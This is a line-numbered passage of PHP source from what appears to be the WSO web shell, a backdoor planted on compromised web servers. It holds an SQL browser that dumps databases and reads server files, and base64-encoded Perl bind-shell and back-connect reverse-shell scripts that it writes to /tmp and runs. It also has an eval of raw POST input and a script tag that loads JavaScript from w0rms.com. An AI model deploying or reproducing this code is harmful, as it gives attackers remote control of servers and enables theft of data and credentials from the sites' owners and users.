1551 case "UTF-8": $db->setCharset('utf8'); break;
1552 case "KOI8-R": $db->setCharset('koi8r'); break;
1553 case "KOI8-U": $db->setCharset('koi8u'); break;
1554 case "cp866": $db->setCharset('cp866'); break;
1555 }
1556 if(empty($_POST['file'])) {
1557 ob_start("ob_gzhandler", 4096);
1558 header("Content-Disposition: attachment; filename=dump.sql");
1559 header("Content-Type: text/plain");
1560 foreach($_POST['tbl'] as $v)
1561 $db->dump($v);
1562 exit;
1563 } elseif($fp = @fopen($_POST['file'], 'w')) {
1564 foreach($_POST['tbl'] as $v)
1565 $db->dump($v, $fp);
1566 fclose($fp);
1567 unset($_POST['p2']);
1568 } else
1569 die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
1570 }
1571 wsoHeader();
1572 echo "
1573<h1>Sql browser</h1><div class=content>
1574<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
1575<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
1576<input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input
1577
1578type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST
1579
1580['charset'])?$_POST['charset']:'') ."'>
1581<td><select name='type'><option value='mysql' ";
1582 if(@$_POST['type']=='mysql')echo 'selected';
1583echo ">MySql</option><option value='pgsql' ";
1584if(@$_POST['type']=='pgsql')echo 'selected';
1585echo ">PostgreSql</option></select></td>
1586<td><input type=text name=sql_host value=\"". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host']))
1587
1588."\"></td>
1589<td><input type=text name=sql_login value=\"". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login']))
1590
1591."\"></td>
1592<td><input type=text name=sql_pass value=\"". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass']))
1593
1594."\"></td><td>";
1595 $tmp = "<input type=text name=sql_base value=''>";
1596 if(isset($_POST['sql_host'])){
1597 if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
1598 switch($_POST['charset']) {
1599 case "Windows-1251": $db->setCharset('cp1251'); break;
1600 case "UTF-8": $db->setCharset('utf8'); break;
1601 case "KOI8-R": $db->setCharset('koi8r'); break;
1602 case "KOI8-U": $db->setCharset('koi8u'); break;
1603 case "cp866": $db->setCharset('cp866'); break;
1604 }
1605 $db->listDbs();
1606 echo "<select name=sql_base><option value=''></option>";
1607 while($item = $db->fetch()) {
1608 list($key, $value) = each($item);
1609 echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.
1610
1611$value.'</option>';
1612 }
1613 echo '</select>';
1614 }
1615 else echo $tmp;
1616 }else
1617 echo $tmp;
1618 echo "</td>
1619 <td><input type=submit value='>>' onclick='fs(d.sf);'></td>
1620 <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count'])?'':' checked') . "> count
1621
1622the number of rows</td>
1623 </tr>
1624 </table>
1625 <script>
1626 s_db='".@addslashes($_POST['sql_base'])."';
1627 function fs(f) {
1628 if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
1629 if(f.p1) f.p1.value='';
1630 if(f.p2) f.p2.value='';
1631 if(f.p3) f.p3.value='';
1632 }
1633 }
1634 function st(t,l) {
1635 d.sf.p1.value = 'select';
1636 d.sf.p2.value = t;
1637 if(l && d.sf.p3) d.sf.p3.value = l;
1638 d.sf.submit();
1639 }
1640 function is() {
1641 for(i=0;i<d.sf.elements['tbl[]'].length;++i)
1642 d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
1643 }
1644 </script>";
1645 if(isset($db) && $db->link){
1646 echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
1647 if(!empty($_POST['sql_base'])){
1648 $db->selectdb($_POST['sql_base']);
1649 echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
1650 $tbls_res = $db->listTables();
1651 while($item = $db->fetch($tbls_res)) {
1652 list($key, $value) = each($item);
1653 if(!empty($_POST['sql_count']))
1654 $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
1655 $value = htmlspecialchars($value);
1656 echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'> <a href=#
1657
1658onclick=\"st('".$value."',1)\">".$value."</a>" . (empty($_POST['sql_count'])?' ':" <small>({$n['n']})</small>") .
1659
1660"</nobr><br>";
1661 }
1662 echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump'
1663
1664onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file
1665
1666value='dump.sql'></td><td style='border-top:2px solid #666;'>";
1667 if(@$_POST['p1'] == 'select') {
1668 $_POST['p1'] = 'query';
1669 $_POST['p3'] = $_POST['p3']?$_POST['p3']:1;
1670 $db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
1671 $num = $db->fetch();
1672 $pages = ceil($num['n'] / 30);
1673 echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>".
1674
1675$_POST['p2']."</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
1676 echo " of $pages";
1677 if($_POST['p3'] > 1)
1678 echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']-1) . ")'>< Prev</a>";
1679 if($_POST['p3'] < $pages)
1680 echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']+1) . ")'>Next ></a>";
1681 $_POST['p3']--;
1682 if($_POST['type']=='pgsql')
1683 $_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST
1684
1685['p3']*30);
1686 else
1687 $_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']
1688
1689*30).',30';
1690 echo "<br><br>";
1691 }
1692 if((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) {
1693 $db->query(@$_POST['p2']);
1694 if($db->res !== false) {
1695 $title = false;
1696 echo '<table width=100% cellspacing=1 cellpadding=2 class=main
1697
1698style="background-color:#292929">';
1699 $line = 1;
1700 while($item = $db->fetch()) {
1701 if(!$title) {
1702 echo '<tr>';
1703 foreach($item as $key => $value)
1704 echo '<th>'.$key.'</th>';
1705 reset($item);
1706 $title=true;
1707 echo '</tr><tr>';
1708 $line = 2;
1709 }
1710 echo '<tr class="l'.$line.'">';
1711 $line = $line==1?2:1;
1712 foreach($item as $key => $value) {
1713 if($value == null)
1714 echo '<td><i>null</i></td>';
1715 else
1716 echo '<td>'.nl2br(htmlspecialchars
1717
1718($value)).'</td>';
1719 }
1720 echo '</tr>';
1721 }
1722 echo '</table>';
1723 } else {
1724 echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
1725 }
1726 }
1727 echo "<br></form><form onsubmit='d.sf.p1.value=\"query
1728
1729\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query'
1730
1731style='width:100%;height:100px'>";
1732 if(!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile'))
1733 echo htmlspecialchars($_POST['p2']);
1734 echo "</textarea><br/><input type=submit value='Execute'>";
1735 echo "</td></tr>";
1736 }
1737 echo "</table></form><br/>";
1738 if($_POST['type']=='mysql') {
1739 $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
1740 if($db->fetch())
1741 echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit
1742
1743();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
1744 }
1745 if(@$_POST['p1'] == 'loadfile') {
1746 $file = $db->loadFile($_POST['p2']);
1747 echo '<br/><pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
1748 }
1749 } else {
1750 echo htmlspecialchars($db->error());
1751 }
1752 echo '</div>';
1753 wsoFooter();
1754}
1755function actionNetwork() {
1756 wsoHeader();
1757
1758
1759$back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw
1760
17610KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7D
1762
1763Qpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRy
1764
1765KSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCA
1766
1767iPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
1768
1769
1770$bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc
1771
177229ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nr
1773
1774b3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGV
1775
1776uIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcG
1777
1778lkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsI
1779
1780j4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI
1781
1782+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw
1783
17840KCX0NCn0=";
1785 echo "<h1>Network tools</h1><div class=content>
1786 <form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
1787 <span>Bind port to /bin/sh [perl]</span><br/>
1788 Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
1789 </form>
1790 <form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
1791 <span>Back-connect [perl]</span><br/>
1792 Server: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text'
1793
1794name='port' value='31337'> <input type=submit value='>>'>
1795 </form><br>";
1796 if(isset($_POST['p1'])) {
1797 function cf($f,$t) {
1798 $w = @fopen($f,"w") or @function_exists('file_put_contents');
1799 if($w){
1800 @fwrite($w,@base64_decode($t));
1801 @fclose($w);
1802 }
1803 }
1804 if($_POST['p1'] == 'bpp') {
1805 cf("/tmp/bp.pl",$bind_port_p);
1806 $out = wsoEx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null 2>&1 &");
1807 sleep(1);
1808 echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bp.pl")."</pre>";
1809 unlink("/tmp/bp.pl");
1810 }
1811 if($_POST['p1'] == 'bcp') {
1812 cf("/tmp/bc.pl",$back_connect_p);
1813 $out = wsoEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &");
1814 sleep(1);
1815 echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bc.pl")."</pre>";
1816 unlink("/tmp/bc.pl");
1817 }
1818 }
1819 echo '</div>';
1820 wsoFooter();
1821}
1822echo "<SCRIPT SRC=http://w0rms.com/sayac.js></SCRIPT>";
1823function actionRC() {
1824 if(!@$_POST['p1']) {
1825 $a = array(
1826 "uname" => php_uname(),
1827 "php_version" => phpversion(),
1828 "wso_version" => WSO_VERSION,
1829 "safemode" => @ini_get('safe_mode')
1830 );
1831 echo serialize($a);
1832 } else {
1833 eval($_POST['p1']);
1834 }
1835}
1836if( empty($_POST['a']) )
1837 if(isset($default_action) && function_exists('action' . $default_action))
1838 $_POST['a'] = $default_action;
1839 else
1840 $_POST['a'] = 'SecInfo';
1841if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
1842 call_user_func('action' . $_POST['a']);
1843exit;